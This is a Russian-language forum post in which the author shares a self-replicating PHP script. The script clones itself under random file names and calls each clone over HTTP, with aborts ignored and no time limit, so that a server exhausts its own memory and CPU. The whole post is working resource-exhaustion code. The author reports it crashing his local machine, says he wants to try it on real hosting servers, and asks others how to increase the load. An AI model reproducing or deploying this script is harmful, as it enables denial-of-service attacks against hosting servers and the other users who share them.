Показать сообщение отдельно

  #11  
Старый 02.12.2008, 16:17
ss88
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме:
298300

Репутация: 128
Отправить сообщение для ss88 с помощью ICQ
По умолчанию

Вот всегда так, лекарство от болезней изобретают тысячелетиями, а нож делается в считанные минуты....

PHP код:
<?php
/************************************************
 * Привет от ss88                                *
 ************************************************ 
 */
//тьма пробелов 
    
$zhopaString="                                                                                                                                               
                                                                                                                                                                 
                                                                                                                                                                 
                                                                                                                                                                
    "
;
//понта ради, мы никогда этого не увидим
    
echo "--------------\n| СУШИ ВЕСЛА |\n--------------\n";
//мы против абортов    
    
ignore_user_abort();
    
//забыть о преградах и запретах
    
set_time_limit(0);
    
//хэшируем пробелы - не самая простая задача с точки зрения CPU    
    
$zhopaString.=md5($zhopaString);
    
//имя нового клона
    
$randomFileName="bug".rand(0,99999).".php";
    
//открываем себя
    
$selfFD=fopen($_SERVER['SCRIPT_FILENAME'],"r");
    
//собственные внутренности
    
$selfContent=fread($selfFD,5000);
    
//создаем новый файл
    
$newFile=fopen($randomFileName,"w+");
    
//клонируем себя
    
fwrite($newFile,$selfContent);
    
//клон готов
    
fclose($newFile);
    
//формируем путь и вызываем клона на сцену        
    
$arPath=explode("/",$_SERVER['SCRIPT_NAME']);
    
$arPath[count($arPath)-1]=$randomFileName;
    
$getString="http://".$_SERVER['SERVER_NAME'].implode("/",$arPath);
    
$zhopaString.=md5(file_get_contents($getString));
    
//подключаем еще разок себя, но до этого врядли дойдет
    
require ($_SERVER['SCRIPT_NAME']);
?>
Вот такие вот банальные грабли для сервера получились, который сам себя будет Ddos'ить, мой локалхост под виндой ложится намертво, с 16 дефолтных МБ ОЗУ сьедает за 1.6 секунды 169Мб и вылетает либо виснет...
Вот тут еще открывается тема про открытые дескрипторы файлов, если не закрывать ранее открытые, то не переваливает за 256, но "сетевой маркетинг" продолжается...
Хочу потестить эти вилы в реальных условиях, но пока не решаюсь на серваках, которые мне дают хостинг....
Может кто-то что-то еще подскажет? Кстати, по-моему, можно увеличить нагрузку на сервер еще и за счет увеличения количества вычислений до обращения к клону...
Спасибо, Ch3ck, а то я забыл про аборты от юзеров

Последний раз редактировалось ss88; 02.12.2008 в 16:45..
 
Ответить с цитированием